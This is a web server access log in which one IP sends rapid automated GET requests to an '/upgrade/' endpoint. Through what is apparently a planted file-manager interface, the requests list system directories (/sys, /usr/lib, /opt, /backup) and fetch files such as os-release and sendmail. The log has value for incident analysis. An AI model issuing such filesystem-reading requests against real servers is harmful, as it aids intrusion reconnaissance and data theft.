45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fsys%2Fdev HTTP/1.1" 200 5997 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Fdev" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fsys%2Fdevices HTTP/1.1" 200 6885 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Fdevices" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fsys%2Fhypervisor HTTP/1.1" 200 5726 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Fhypervisor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fsys%2Fkernel HTTP/1.1" 200 7567 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Fkernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fsys%2Fmodule HTTP/1.1" 200 15428 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Fmodule" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/index.php?location=%2Fsys%2F HTTP/1.1" 200 6342 "http://163.245.207.76:443/upgrade/index.php?location=%2Fsys%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fsys%2Fblock HTTP/1.1" 200 6003 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Fblock" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?full_path=%2Fafs&location=%2F HTTP/1.1" 200 7718 "http://163.245.207.76:443/upgrade/?full_path=%2Fafs&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?full_path=%2Fafs&location=%2Fafs%2F HTTP/1.1" 200 5707 "http://163.245.207.76:443/upgrade/?full_path=%2Fafs&location=%2Fafs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/index.php?location=%2Fafs%2F HTTP/1.1" 200 5697 "http://163.245.207.76:443/upgrade/index.php?location=%2Fafs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fafs%2F HTTP/1.1" 200 5696 "http://163.245.207.76:443/upgrade/?location=%2Fafs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fafs%2F&option=folder HTTP/1.1" 200 5705 "http://163.245.207.76:443/upgrade/?location=%2Fafs%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?full_path=%2Fbackup&location=%2F HTTP/1.1" 200 7704 "http://163.245.207.76:443/upgrade/?full_path=%2Fbackup&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/index.php?location=%2Fbackup%2F HTTP/1.1" 200 5727 "http://163.245.207.76:443/upgrade/index.php?location=%2Fbackup%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fbackup%2F&option=folder HTTP/1.1" 200 5735 "http://163.245.207.76:443/upgrade/?location=%2Fbackup%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?full_path=%2Fbackup&location=%2Fbackup%2F HTTP/1.1" 200 5738 "http://163.245.207.76:443/upgrade/?full_path=%2Fbackup&location=%2Fbackup%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fbackup%2F HTTP/1.1" 200 5727 "http://163.245.207.76:443/upgrade/?location=%2Fbackup%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2FNetworkManager HTTP/1.1" 200 6133 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2FNetworkManager" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fdracut HTTP/1.1" 200 6889 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fdracut" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fgames HTTP/1.1" 200 5734 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fgames" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fgcc HTTP/1.1" 200 5950 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fgcc" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fpython3.9 HTTP/1.1" 200 5945 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fpython3.9" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fudev HTTP/1.1" 200 7022 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fudev" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2F&option=dir HTTP/1.1" 200 8137 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2F HTTP/1.1" 200 8127 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fenvironment.d HTTP/1.1" 200 6071 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fenvironment.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fkernel HTTP/1.1" 200 6171 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fkernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fsysctl.d HTTP/1.1" 200 6499 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fsysctl.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fkdump HTTP/1.1" 200 6342 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fkdump" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/index.php?location=%2Fusr%2Flib%2F HTTP/1.1" 200 8107 "http://163.245.207.76:443/upgrade/index.php?location=%2Fusr%2Flib%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fsysusers.d HTTP/1.1" 200 7262 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fsysusers.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2F&option=folder HTTP/1.1" 200 8137 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2F.build-id HTTP/1.1" 200 14198 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2F.build-id" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fbinfmt.d HTTP/1.1" 200 5736 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fbinfmt.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fpolkit-1 HTTP/1.1" 200 6164 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fpolkit-1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2F&option=file HTTP/1.1" 200 8134 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib%2F%2Fmotd&location=%2Fusr%2Flib%2F HTTP/1.1" 200 8205 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib%2F%2Fmotd&location=%2Fusr%2Flib%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?full_path=%2Fusr%2Flib&location=%2Fusr%2Flib%2F HTTP/1.1" 200 8144 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flib&location=%2Fusr%2Flib%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Ffontconfig HTTP/1.1" 200 5938 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Ffontconfig" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fgrub HTTP/1.1" 200 5733 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fgrub" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fkbd HTTP/1.1" 200 6146 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fkbd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:20 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fmodules-load.d HTTP/1.1" 200 6169 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fmodules-load.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fpam.d HTTP/1.1" 200 6063 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fpam.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?full_path=%2Fusr%2Flib&location=%2F HTTP/1.1" 200 7727 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flib&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fdebug HTTP/1.1" 200 6203 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fdebug" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fmodules HTTP/1.1" 200 6111 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fmodules" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fmotd.d HTTP/1.1" 200 5735 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fmotd.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Frpm HTTP/1.1" 200 7387 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Frpm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fsysimage HTTP/1.1" 200 5734 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fsysimage" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?full_path=%2Fusr%2Flib&location=%2Fusr%2F HTTP/1.1" 200 6681 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flib&location=%2Fusr%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Flocale HTTP/1.1" 200 7439 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Flocale" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fmodprobe.d HTTP/1.1" 200 6301 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fmodprobe.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fsystemd HTTP/1.1" 200 9934 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fsystemd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib%2F%2Fcpp&location=%2Fusr%2Flib%2F HTTP/1.1" 200 411596 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib%2F%2Fcpp&location=%2Fusr%2Flib%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Fexim HTTP/1.1" 200 5924 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Fexim" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Ffirewalld HTTP/1.1" 200 6207 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Ffirewalld" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:21 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Ffirmware HTTP/1.1" 200 43422 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Ffirmware" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?location=%2Fusr%2Flib%2Ftmpfiles.d HTTP/1.1" 200 8818 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib%2Ftmpfiles.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib%2F%2Fos-release&location=%2Fusr%2Flib%2F HTTP/1.1" 200 8511 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib%2F%2Fos-release&location=%2Fusr%2Flib%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib%2F%2Fsendmail&location=%2Fusr%2Flib%2F HTTP/1.1" 200 12947 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib%2F%2Fsendmail&location=%2Fusr%2Flib%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?location=%2Fmnt%2F HTTP/1.1" 200 5697 "http://163.245.207.76:443/upgrade/?location=%2Fmnt%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?full_path=%2Fmnt&location=%2F HTTP/1.1" 200 7728 "http://163.245.207.76:443/upgrade/?full_path=%2Fmnt&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?full_path=%2Fmnt&location=%2Fmnt%2F HTTP/1.1" 200 5708 "http://163.245.207.76:443/upgrade/?full_path=%2Fmnt&location=%2Fmnt%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/index.php?location=%2Fmnt%2F HTTP/1.1" 200 5697 "http://163.245.207.76:443/upgrade/index.php?location=%2Fmnt%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?location=%2Fmnt%2F&option=folder HTTP/1.1" 200 5706 "http://163.245.207.76:443/upgrade/?location=%2Fmnt%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?location=%2Fopt%2Fcpanel HTTP/1.1" 200 6442 "http://163.245.207.76:443/upgrade/?location=%2Fopt%2Fcpanel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?location=%2Fopt%2F HTTP/1.1" 200 6260 "http://163.245.207.76:443/upgrade/?location=%2Fopt%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?location=%2Fopt%2Fimunify360 HTTP/1.1" 200 5977 "http://163.245.207.76:443/upgrade/?location=%2Fopt%2Fimunify360" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:22 -0400] "GET /upgrade/?location=%2Fopt%2Frustbolit HTTP/1.1" 200 6177 "http://163.245.207.76:443/upgrade/?location=%2Fopt%2Frustbolit" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?full_path=%2Fopt&location=%2Fopt%2F HTTP/1.1" 200 6273 "http://163.245.207.76:443/upgrade/?full_path=%2Fopt&location=%2Fopt%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/index.php?location=%2Fopt%2F HTTP/1.1" 200 6259 "http://163.245.207.76:443/upgrade/index.php?location=%2Fopt%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?location=%2Fopt%2F&option=folder HTTP/1.1" 200 6268 "http://163.245.207.76:443/upgrade/?location=%2Fopt%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?location=%2Fopt%2F&option=dir HTTP/1.1" 200 6270 "http://163.245.207.76:443/upgrade/?location=%2Fopt%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?location=%2Fopt%2Fapp-version-detector HTTP/1.1" 200 6177 "http://163.245.207.76:443/upgrade/?location=%2Fopt%2Fapp-version-detector" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?location=%2Fopt%2Fai-bolit HTTP/1.1" 200 7531 "http://163.245.207.76:443/upgrade/?location=%2Fopt%2Fai-bolit" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?location=%2Fopt%2Falt HTTP/1.1" 200 6525 "http://163.245.207.76:443/upgrade/?location=%2Fopt%2Falt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?location=%2Fopt%2Fcloudlinux HTTP/1.1" 200 5931 "http://163.245.207.76:443/upgrade/?location=%2Fopt%2Fcloudlinux" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?full_path=%2Fopt&location=%2F HTTP/1.1" 200 7732 "http://163.245.207.76:443/upgrade/?full_path=%2Fopt&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
